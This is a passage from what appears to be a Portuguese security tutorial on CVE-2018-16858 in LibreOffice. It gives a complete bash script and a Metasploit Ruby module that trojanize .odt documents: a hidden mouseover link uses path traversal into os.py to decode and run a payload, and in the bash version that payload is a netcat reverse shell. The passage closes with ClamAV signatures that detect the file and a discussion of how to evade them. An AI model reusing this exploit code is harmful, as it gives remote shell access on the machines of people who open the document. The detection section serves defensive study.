O código final do script completo terá uma forma parecida com a seguinte:if [ -e $1 ]; then
I=0;
for fichero in `ls -a`; do
I=$(($I+1));
done;
if [ $I -gt 2 ]; then
echo "At least one file exists on the directory. Exiting.";
else
if [ "" == "$3" ]; then
echo "I need an IP and a port to connect to.";
else
unzip $1;
if [ $? != 0 ]; then
echo "some error has occurr!!!Exiting!!";
exit;
fi;
PAYLOAD=`echo "mkfifo /tmp/lalala; nc $2 $3 < /tmp/lalala | /bin/bash > /tmp/lalala;" | base64 | awk '{printf $0}'`;
mv content.xml content.xml.NEW;
cat content.xml.NEW | sed s/"<text:p [^>]*[^\/]>"/"&"'<text:a xlink:type="simple" xlink:href="http:\/\/lalala\/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link"><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/usr\/lib\/python3.5\/os.py$system(echo '$PAYLOAD' > \/tmp\/payload.64; base64 \/tmp\/payload.64 -d > \/tmp\/payload; chmod 777 \/tmp\/payload; \/tmp\/payload;)?language=Python\&location=share" xlink:type="simple"\/><\/office:event-listeners>'/g | sed s/"<\/text:p>"/"<\/text:a>&"/g > content.xml;
rm content.xml.NEW;
mv styles.xml styles.xml.NEW;
cat styles.xml.NEW | sed s/"Internet link"/"Internet link2"/ | sed s/"Internet_20_link"/"Internet_20_link2"/ | sed s/"<\/style:style>"/'<\/style:style><style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"><style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"\/><\/style:style>'/ > styles.xml;
rm styles.xml.NEW;
zip -r exploit.odt mimetype .;
if [ $? == 0 ]; then
echo "exploit.odt created!!!"
else
echo "An error has occurr!!!"
fi;
fi;
fi;
else
echo "The odt file does not exists!!";
fi;
Nesta seção, será criado um módulo metasploit que permitirá realizar o mesmo que fizemos na seção anterior, mas podendo, por um lado, integrá-lo no conjunto metasploit e, por outro, ter a capacidade de usar os payloads integrados nesse conjunto. Deve-se ter em conta que este módulo gerará um arquivo do tipo .odt e que se deverá configurar um handler para poder conectar ao host onde o documento office for aberto.
Os módulos do metasploit são geralmente programados em linguagem Ruby, e utilizam as bibliotecas e classes do Ruby e as próprias do metasploit para facilitar a integração com o restante do conjunto.
O módulo que se deseja gerar basear-se-á na exploração de um exploit cuja exploração implica o uso de um payload, que é o que se deseja executar. Portanto, o nosso módulo herdará da classe do metasploit Msf::Exploit. Entre as particularidades desta classe está a possibilidade de definir um payload para ser executado quando o módulo é usado.
Vamos trabalhar com arquivos que serão abertos e fechados, bem como com arquivos zip, portanto, usaremos também as bibliotecas fileutils e zip para descompactar o arquivo .odt e alterar o conteúdo dos arquivos content.xml e styles.xml.
O cabeçalho do módulo começará então com as seguintes linhas:
require 'fileutils'
require 'zip'
class MetasploitModule < Msf::Exploit
Agora começaremos a definir a classe que estamos compondo, na qual, inicialmente, devemos definir os diferentes atributos do módulo. Todos serão introduzidos na função de inicialização, que fará simplesmente uma chamada à classe superior super para inicializar os atributos da classe Exploit. Nesta parte, não há lógica de programa para programar, apenas definir variáveis e valores.
Quanto à definição dos atributos, os atributos a definir serão os seguintes:
Nome para definir o nome do módulo (Name). Descrição que permite dar uma descrição que será mostrada ao consultar a ajuda do módulo (Description). Licença para definir a licença específica que se deseja dar ao módulo gerado (License). Autor para definir quem ou quantos realizaram um determinado módulo (Author). Referências nas quais se deve citar o CVE ou referência do erro que é aproveitado no módulo que está sendo implementado (References). Plataforma que permite definir em qual sistema ou sistemas operacionais o módulo poderá ser utilizado (Platform). Arquitetura que definirá em que tipo de CPU o módulo pode ser executado (Arch). Payload no qual se poderão definir características do payload que pode ser utilizado dentro do exploit ('Payload'). Neste atributo, ganhará especial relevância o tamanho ('size'), muito relacionado normalmente com o tamanho do buffer que executa o código e se deve ou não fazer alguma transformação nos bytes do payload para sua execução (DisableNops). Objetivos, que têm relação com os payloads que podem ser executados através do exploit que está sendo definido (Target). É importante definir bem este atributo para que o usuário do módulo não possa introduzir payloads errados ao executar o módulo. Por último, opções a registar permitem a introdução de novas variáveis a serem utilizadas ao executar o exploit (register_options). Definir-se-ão novos elementos que podem ser de diferentes tipos; no nosso caso, definiremos uma variável do tipo caminho na qual se definirá o caminho para o arquivo .odt que se deseja trojanizar e um atributo do tipo string no qual se define o novo nome que o arquivo .odt terá, onde se guardará o arquivo trojanizado. Desta forma, o arquivo original não será alterado, mas sim será gerado um novo arquivo trojanizado. Para definir um atributo do tipo caminho, chamaremos o construtor da classe optPath e, para o tipo string, utilizaremos a classe optString.
A inicialização desses atributos consiste simplesmente em atribuir valores, no módulo ficará da seguinte forma:
def initialize(info = {})
super(update_info(info,
'Name' => 'OpenOffice Backdoor Generator',
'Description' => '
This module can execute a payload based on CVE-2018-16858 when somebody opens the infected document and the mouse
goes over any line of text inside the document. The module will need an OpenDocument as input in order to make modiffications
to be able to execute the script.
',
'License' => MSF_LICENSE,
'Author' =>
[
'Animanegra',
],
References' =>
[
['CVE', '2018-16858'],
['URL', 'https://www.libreoffice.org/about-us/security/advisories/cve-2018-16858/']
],
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Payload' => { 'DisableNops' => true , 'size' => 1024},
'Targets' =>
[
[ 'linux' ,
{
'Platform' => 'linux'
}]
])
)
register_options(
[
OptString.new('OUTPUT', [true, 'Path and filename to make a new infected .odt file.']),
OptPath.new('INPUT', [true, 'Path and filename to existing .odt to inject the payload selected.'])
]
)
end
Com o que foi definido na inicialização, já estamos em condições de gerar a parte lógica do exploit, na qual realizaremos as mesmas ações que foram definidas no exploit feito em bash, mas desta vez na linguagem ruby utilizada pelo metasploit. Fare-se-á exatamente o mesmo, mas utilizando as funcionalidades próprias da linguagem ruby.
A função a definir, que é a que o metasploit chama ao escrever exploit ou run no msfconsole, deve chamar-se exploit; dentro desta função, definir-se-á o programa em si que realiza as ações pertinentes com base nos atributos definidos na inicialização do objeto que foi criado.
A primeira coisa a fazer será verificar se os nomes de arquivos definidos pelo usuário terminam em .odt. Isso pode ser feito verificando o conteúdo das variáveis datastore['INPUT'] e datastore['OUTPUT']. Pode-se utilizar o método to_s que o converterá para string e end_with que permite definir se a string termina ou não num determinado valor. Por exemplo, a seguinte chamada:
datastore['INPUT'].to_s.end_with?('.odt')
Devolve verdadeiro se o caminho do input terminar em .odt ou falso caso contrário. Portanto, a verificação ficará da seguinte forma:
if datastore['INPUT'].to_s.end_with?('.odt') && datastore['OUTPUT'].to_s.end_with?('.odt')
Uma vez verificado isto, começaremos a descompactar o arquivo para alterar o conteúdo de content.xml e styles.xml da mesma forma que foi feito na seção anterior. Realizar-se-á através da classe Zip que permite abrir e ler os arquivos zip em memória sem necessidade de despejar o conteúdo diretamente num arquivo de saída. Faz-se através de uma chamada a Zip::File.open com a qual, ao chamar este método, nos será devolvido um objeto que depois conterá um atributo do tipo iterador. Com este atributo, poderemos ler cada ficheiro que é descompactado em memória. A chamada que realizaremos, ligada ao datastore gerado que é onde está o caminho para o arquivo .zip e com cujo iterador iremos guardando cada ficheiro descompactado na variável entry, será a seguinte:
Zip::File.open(datastore['INPUT']) do |zipfile|
zipfile.each do |entry|
O ficheiro zip é aberto num objeto chamado zipfile e deste é obtido o iterador através de each que é guardado na variável entry. Esta variável é onde se pode aceder diretamente aos ficheiros já descompactados e aos seus atributos. Com entry.name poderemos aceder ao nome do ficheiro original; como desejamos alterar o ficheiro com nome styles.xml e contents.xml, através de uma simples comparação poderemos ler o ficheiro para realizar as alterações. Os restantes ficheiros serão mantidos com o conteúdo inalterado. A variável entry também disporá de um método chamado get_input_stream de forma que se poderão manusear os ficheiros do zip de maneira similar a se fossem qualquer ficheiro do disco rígido. A classe inputStream tem um método chamado read que diretamente despeja todo o conteúdo do ficheiro numa variável. Por último, a variável entry também dispõe do método is_directory que permite saber se o ficheiro contido no zip é um ficheiro ou um diretório, de forma que se for um diretório, poderá ser ignorado e não lido com o método read, já que é um elemento da estrutura do próprio zip que não tem conteúdo por si só. Com todos estes métodos, já estamos em condições de gerar a estrutura geral do algoritmo, que diferenciará se o ficheiro é um dos ficheiros a alterar, se é um ficheiro que não deve ser alterado ou simplesmente um diretório. A estrutura geral desta parte será a seguinte:
if entry.name == "content.xml"
elsif entry.name == "styles.xml"
else
if !entry.name_is_directory?
end
end
Se o ficheiro a ler se chama content.xml, deve-se inserir o payload escolhido pelo utilizador; se se chama styles.xml, deve-se alterar o estilo das hiperligações; e, por último, se não for nenhum destes ficheiros, no caso de não ser um diretório, simplesmente deve-se introduzir o ficheiro sem qualquer tipo de alteração.
O processamento ideal seria ir inserindo os ficheiros no novo documento à medida que são lidos, portanto, tal como foi aberto através da classe Zip o ficheiro em modo leitura, abrir-se-á outro ficheiro em modo escrita no qual se irão incluindo os ficheiros no ficheiro comprimido em tempo real.
De modo similar, faz-se uma chamada ao método File.open da classe Zip e utiliza-se a variável devolvida para inserir no ficheiro a abrir os diferentes ficheiros que se desejam no comprimido de saída. O primeiro parâmetro do método é o nome do ficheiro que se obtém do nome que o utilizador decidiu colocar através da interface do msfconsole. Acede-se a esse nome através da variável datastore['OUTPUT']. Como segundo parâmetro, especificar-se-á que se deseja criar um novo ficheiro zip através da constante Zip::File::CREATE. De maneira similar ao modo como se abria a leitura, aqui a linha de programa que se inserirá será a seguinte:
Zip::File.open(datastore['OUTPUT'],Zip::File::CREATE) do |outzip|
Como foi dito, será a variável outzip que se utilizará para inserir novos dados no zip. Assim como para ler um ficheiro do zip se podia utilizar o método get_input_stream, no caso de escrever nele utilizar-se-á o análogo get_output_stream e utilizar-se-á o método write para introduzir conteúdos no ficheiro. O dado de entrada para o método get_output_stream é o nome do ficheiro. Portanto, podendo aceder ao nome do ficheiro lido através de entry.name e ao conteúdo do ficheiro lido através de entry.get_input_stream.read para ler do ficheiro zip o ficheiro e despejá-lo no ficheiro zip de saída de forma direta, pode-se fazer o seguinte:
data = entry.get_input_stream.read
outzip.get_output_stream(entry.name) { |f| f.write data}
Como se pode ver, em data estará o conteúdo completo do ficheiro, portanto, no caso de o nome do ficheiro de entrada ser styles.xml ou contents.xml, deve-se alterar esse conteúdo antes de o despejar; nos restantes casos, não será necessário alterar nada.
Tal como acontecia com o comando sed da consola de comandos, em ruby dispõe-se da função gsub que funciona exatamente da mesma forma que esse comando. No caso do ficheiro de estilos, poderá executar-se a função sub da seguinte forma:
data = data.gsub("Internet link","Internet link2").gsub("Internet_20_link","Internet_20_link2").gsub("</style:style>",'</style:style><style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"><style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/></style:style>')
Como se pode ver, nada de especialmente notável nesta função. Está-se a fazer exatamente o mesmo que no caso do exploit em bash. Uma vez realizada esta alteração, já se pode despejar a variável data no ficheiro de saída do zip.
O caso do contents.xml requer inserir o payload selecionado pelo utilizador, portanto, deve-se carregar numa variável em formato base64 para depois introduzi-lo no local necessário dentro do ficheiro. O conteúdo do payload a executar pode ser acedido através da variável payload e, como se necessita de um payload em formato executável, chamar-se-á ao método encoded_exe() que permite aceder a um payload em formato de executável em vez de aceder às instruções sem a parte necessária para a execução como comando independente. Como se necessita de um formato base64, codificar-se-á o binário em base64 através da classe REX chamando ao método Text.encode_base64 que espera como entrada os dados a codificar. As instruções a inserir no programa ficarão da seguinte forma:
target_payload = payload.encoded_exe()
b64_payload = Rex::Text.encode_base64(target_payload)
Com o que em b64_payload se dispõe do payload executável em base64. Por último, utilizar-se-ão alterações análogas às realizadas no comando sed, nas quais se inserirá a palavra PAYLOAD em vez do código base64 que aplicávamos na seção anterior. Ao obtido após todas as alterações, adicionar-se-á no final um novo gsub equivalente a uma última alteração na qual se substituirá o literal PAYLOAD pelo conteúdo da variável b64_payload. O código ficará da seguinte forma:
data = data.gsub(/<text:p [^>]*[^\/]>/,'\&'+"<text:a xlink:type=\"simple\" xlink:href=\"http://lalala/\" text:style-name=\"Internet_20_link\" text:visited-style-name=\"Visited_20_Internet_20_Link\"><office:event-listeners><script:event-listener script:language=\"ooo:script\" script:event-name=\"dom:mouseover\" xlink:href=\"vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(echo PAYLOAD > /tmp/payload.64; base64 /tmp/payload.64 -d > /tmp/payload; chmod 777 /tmp/payload; /tmp/payload; rm /tmp/payload.64; rm /tmp/payload;)?language=Python&location=share\" xlink:type=\"simple\"/></office:event-listeners>").gsub("</text:p>","</text:a></text:p>").gsub("PAYLOAD",b64_payload)
Com isto já se teria resolvido todo o funcionamento desejado para o módulo. O código completo do módulo será o seguinte:
require 'fileutils'
require 'zip'
class MetasploitModule < Msf::Exploit
def initialize(info = {})
super(update_info(info,
'Name' => 'OpenOffice Backdoor Generator',
'Description' => '
This module can execute a payload based on CVE-2018-16858 when somebody opens the infected document and the mouse
goes over any line of text inside the document. The module will need an OpenDocument as input in order to make modiffications
to be able to execute the script.
',
'License' => MSF_LICENSE,
'Author' =>
[
'Animanegra',
],
References' =>
[
['CVE', '2018-16858'],
['URL', 'https://www.libreoffice.org/about-us/security/advisories/cve-2018-16858/']
],
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Payload' => { 'DisableNops' => true , 'size' => 1024},
'Targets' =>
[
[ 'linux' ,
{
'Platform' => 'linux'
}]
])
)
register_options(
[
OptString.new('OUTPUT', [true, 'Path and filename to make a new infected .odt file.']),
OptPath.new('INPUT', [true, 'Path and filename to existing .odt to inject the payload selected.'])
]
)
end
def exploit
if datastore['INPUT'].to_s.end_with?('.odt') && datastore['OUTPUT'].to_s.end_with?('.odt')
print "Ok we have the input and output file. Lets rock!!!\n\n"
Zip::File.open(datastore['OUTPUT'],Zip::File::CREATE) do |outzip|
Zip::File.open(datastore['INPUT']) do |zipfile|
zipfile.each do |entry|
if entry.name == "content.xml"
print "Changing content to insert command execution!!!\n"
target_payload = payload.encoded_exe()
b64_payload = Rex::Text.encode_base64(target_payload)
data = entry.get_input_stream.read
data = data.gsub(/<text:p [^>]*[^\/]>/,'\&'+"<text:a xlink:type=\"simple\" xlink:href=\"http://lalala/\" text:style-name=\"Internet_20_link\" text:visited-style-name=\"Visited_20_Internet_20_Link\"><office:event-listeners><script:event-listener script:language=\"ooo:script\" script:event-name=\"dom:mouseover\" xlink:href=\"vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(echo PAYLOAD > /tmp/payload.64; base64 /tmp/payload.64 -d > /tmp/payload; chmod 777 /tmp/payload; /tmp/payload; rm /tmp/payload.64; rm /tmp/payload;)?language=Python&location=share\" xlink:type=\"simple\"/></office:event-listeners>").gsub("</text:p>","</text:a></text:p>").gsub("PAYLOAD",b64_payload)
outzip.get_output_stream(entry.name) { |f| f.write data}
elsif entry.name == "styles.xml"
print "Changing style to make the user not to view the hyperlink.\n\n"
data = entry.get_input_stream.readdata = data.gsub("Internet link","Internet link2").gsub("Internet_20_link","Internet_20_link2").gsub("</style:style>",'</style:style><style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"><style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/></style:style>')
outzip.get_output_stream(entry.name) { |f| f.write data}
else
if !entry.name_is_directory?
data = entry.get_input_stream.read
outzip.get_output_stream(entry.name) { |f| f.write data}
end
end
end
end
end
else
print_error 'INPUT and OUTPUT must be both .odt file extension'
end
end
end
Uma vez gerado o programa, ele será salvo em um arquivo chamado libreoffice.rb e copiado para o caminho /modules/exploits/linux/misc. Na próxima vez que o msfconsole for executado, este novo módulo será carregado. Ele poderá ser usado como os demais módulos executando:
msf5 > use exploit/linux/misc/libreoffice
msf5 exploit(linux/misc/libreoffice) >
Onde se poderão ver as opções:
msf5 exploit(linux/misc/libreoffice) > show options
Module options (exploit/linux/misc/libreoffice):
Name Current Setting Required Description
---- --------------- -------- -----------
INPUT yes Path and filename to existing .odt to inject the payload selected.
OUTPUT yes Path and filename to make a new infected .odt file.
Exploit target:
Id Name
-- ----
0 linux
E se poderá escolher um arquivo de entrada definindo um valor para INPUT, um valor para OUTPUT e configurando um payload compatível através do comando set payload.
Após gerar o arquivo odt de saída, será utilizado o manipulador genérico use exploit/multi/handler com um payload compatível com o escolhido ao gerar o arquivo .odt
Como último passo, será gerada uma série de assinaturas de antivírus que permitam detectar o backdoor gerado para evitar essa ameaça. Dado que a maioria dos antivírus são de código fechado, será utilizado o software antivírus ClamAV, que é de código aberto e pode ser executado em todas as plataformas.
A primeira assinatura a ser feita será uma assinatura do tipo estática. Elas são o tipo de assinatura mais fácil de fazer, mas também as mais fáceis de contornar ou bypassar. Este tipo de assinatura consistirá principalmente de um hash estático e um tamanho de arquivo. O formato exigido pelo antivírus ClamAV é que em um arquivo com extensão .hdb tenhamos linhas que começarão pelo hash (md5 ou sha1) seguido pelo tamanho em bytes e o nome do vírus desejado. Cada linha conterá apenas uma definição de vírus e cada campo estará separado pelo símbolo :.
Se tivermos o arquivo exploit.odt do qual se deseja fazer a assinatura, poderemos optar por calcular o hash md5 ou sha1, o que pode ser feito facilmente usando os comandos md5sum e sha1sum do Linux. Os comandos serão executados simplesmente com o nome do comando seguido do arquivo a calcular, de modo similar ao seguinte:
user@host:~/myprojects/security/metasploit/exploitlibreoffice/scripts/lalala$ md5sum exploit.odt
9158e2fc2f87b5ee050a279a38f6bfac exploit.odt
user@host:~/$ sha1sum exploit.odt
a39979533831fbb9eac4ba6c13469b4d421fc1c7 exploit.odt
Para calcular o tamanho do arquivo, a maneira mais simples é usar o comando ls passando a ele o caminho para o arquivo, de forma similar à seguinte:
user@host:~/$ ls -al exploit.odt
-rw-r--r-- 1 user user 726509 Apr 09 19:17 exploit.odt
Dessa forma, podemos optar por gerar um arquivo com extensão .hdb com o hash md5 ou sha1 e o tamanho obtidos, ficando assim:
9158e2fc2f87b5ee050a279a38f6bfac:726509:Trojan.LibreOfficeMalware.A
a39979533831fbb9eac4ba6c13469b4d421fc1c7:726509:Trojan.LibreOfficeMalware.B
Ao executar o ClamAV, deve-se especificar que será usado o arquivo de assinaturas que está sendo gerado. Portanto, para verificar os vírus usando o banco de dados chamado LibreOfficeSign.hdb, execute da seguinte forma:
user@host:~/$ clamscan -d LibreOfficeSign.hdb exploit.odt
exploit.odt: Trojan.LibreOfficeMalware.A.UNOFFICIAL FOUND
----------- SCAN SUMMARY -----------
Known viruses: 2
Engine version: 0.100.2
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 1.46 MB
Data read: 0.69 MB (ratio 2.11:1)
Time: 0.035 sec (0 m 0 s)
Este tipo de assinaturas são muito suscetíveis: qualquer mudança no malware faz com que o antivírus não o reconheça mais. O hash usado para a assinatura, seja md5 ou sha1, diante de qualquer alteração em qualquer bit do arquivo, fará com que não seja detectado como vírus. Se simplesmente descompactarmos o .odt gerado e mudarmos qualquer letra do texto do documento, por exemplo um a por um A, já será suficiente para fazer um bypass do antivírus.
Procederemos a fazer uma assinatura um pouco mais inteligente, aproveitando o sistema de assinaturas dinâmicas do ClamAV. Este tipo de assinatura deve ser colocado em um arquivo com extensão .ndb em vez de .hdb. O formato das assinaturas dentro do arquivo, embora sejam parecidas com as mencionadas anteriormente, em vez de usar hashes do arquivo completo, usarão identificadores dentro do arquivo. Serão feitas certas comparações de certas strings de um arquivo para que, caso as contenha, seja detectado como malware.
O formato começará com o nome da ameaça, seguido do tipo de arquivo que deve conter o malware. O número 0 corresponde a que o malware pode estar em qualquer tipo de arquivo. Temos o 1 para definir que o malware afeta apenas um executável exe de 32 ou 64 bits, o 6 para definir que está apenas em arquivos executáveis do tipo ELF do Unix, ou o 7 para definir que são arquivos do tipo ASCII. O próximo campo especifica o número de byte a partir do qual começar a comparação dos bytes da string que se deseja identificar dentro do arquivo. Pode-se usar o curinga * para definir que a string pode começar em qualquer parte do arquivo. A partir daí, especifica-se a cadeia de bytes que permite identificar o malware. A definição da busca será composta pelos códigos hexadecimais um após o outro.
Uma das formas de obter os códigos hexadecimais de um determinado arquivo é usar a ferramenta sigtool, de modo que pela entrada padrão será fornecida a entrada em bytes e ela retornará a representação hexadecimal diretamente para uso na assinatura. Outra ferramenta semelhante pode ser hexdump, mas a saída que retorna requererá alguma modificação. Devido à simplicidade, a assinatura será feita usando a ferramenta sigtool.
A parte do arquivo que buscaremos na segunda assinatura que se pretende fazer será algo muito simples: o caminho que foi colocado usando o directory transversal até a parte da execução do arquivo os.py, de modo que mesmo que algo mude no próprio arquivo do Office, para executar o código do backdoor é necessário pelo menos esse caminho no arquivo. Primeiramente, obtêm-se os caracteres em hexadecimal através do seguinte comando:
user@host:~/$ echo -n "../../../../../../../../../../../usr/lib/python3.5/os.py" | sigtool --hex-dump
2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7573722f6c69622f707974686f6e332e352f6f732e7079
É importante incorporar no comando echo o parâmetro -n para que não seja impressa uma quebra de linha no final. E o resultado do comando sigtool será a busca que será aplicada como assinatura para que o antivírus possa detectar o .odt trojanizado.
Não se pode definir um offset concreto para o início da busca, pois dependerá da estrutura de cada documento .odt, portanto no campo de offset será colocado um *. Como tipo de arquivo será definido um 1 para que a busca pelo antivírus seja realizada em qualquer tipo de arquivo. Será definido um nome e a assinatura final poderá ficar semelhante à seguinte:
Trojan.LibreOfficeMalware.C:0:*:2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7573722f6c69622f707974686f6e332e352f6f732e7079
A assinatura será armazenada no arquivo LibreOfficeSign.ndb, o relevante no nome do arquivo é a extensão. Novamente, pode-se executar o clamav para verificar se a assinatura gerada permite detectar o trojan. O resultado será parecido com o seguinte:
user@host:~/$ clamscan -d LibreOfficeSign.ndb exploit.odt
exploit.odt: Trojan.LibreOfficeMalware.C.UNOFFICIAL FOUND
----------- SCAN SUMMARY -----------
Known viruses: 1
Engine version: 0.100.2
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 0.02 MB
Data read: 0.69 MB (ratio 0.03:1)
Time: 0.010 sec (0 m 0 s)
Embora a forma de contornar a detecção do antivírus usando esta assinatura seja mais complicada, não basta mudar qualquer parte do texto do documento Office. Ainda é possível contornar o escaneamento do antivírus de maneira relativamente óbvia, pois para a definição da assinatura foi usado um número específico de ../. Na geração do exploit, o número de subidas de diretório deve ser definido como um número relativamente alto para permitir que a partir de qualquer caminho dentro do Linux se chegue ao diretório raiz. Dessa forma, simplesmente suprimindo um dos ../ no caminho permitirá que o exploit continue funcionando e executando a backdoor gerada. Portanto, será usada uma definição um pouco mais avançada de assinaturas que permita a detecção de malware usando expressões regulares, e não usar assinaturas muito fixas que façam com que modificações muito simples não detectem o malware.
Será utilizado um curinga simples que permita detectar o malware assim que for detectada uma tentativa de directory transversal. Além disso, apenas para fins educativos, será usado o curinga * que permite definir um número consecutivo indeterminado de qualquer caractere. Existem outros curingas semelhantes, como ??, que permite detectar qualquer caractere, mas que apareça apenas uma vez. Também pode ser usado o curinga {n} para detectar um número n de bytes e {-n} e {n-} para definir um número de n ou menos bytes ou n ou mais bytes, respectivamente.
Será usada a seção de bytes que precederia o directory transversal e definido pelos dados pythonSamples| que precisarão ser obtidos em formato hexadecimal:
user@host:~/$ echo -n "pythonSamples|" | sigtool --hex-dump
707974686f6e53616d706c65737c
Será obtido também o código hexadecimal de ../ da mesma forma:
user@host:~/$ echo -n "../" | sigtool --hex-dump
2e2e2f
Dessa forma, a assinatura que será adicionada ao arquivo será a concatenação de ambas as sequências de caracteres hexadecimais por meio de um , ou seja, 707974686f6e53616d706c65737c2e2e2f. Com isso, a assinatura completa que ficará no arquivo LibreOfficeSign.ndb será a seguinte:
Trojan.LibreOfficeMalware.D:0:*:707974686f6e53616d706c65737c*2e2e2f
Ao realizar a verificação removendo um dos ../ de cada hiperlink do arquivo contents.xml, recompor o arquivo .odt e verificá-lo com o antivírus, o resultado será o seguinte:
user@host:~/$ clamscan -d LibreOfficeSign.ndb exploit.odt
exploit.odt: Trojan.LibreOfficeMalware.D.UNOFFICIAL FOUND
----------- SCAN SUMMARY -----------
Known viruses: 2
Engine version: 0.100.2
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 0.02 MB
Data read: 0.69 MB (ratio 0.03:1)
Time: 0.009 sec (0 m 0 s)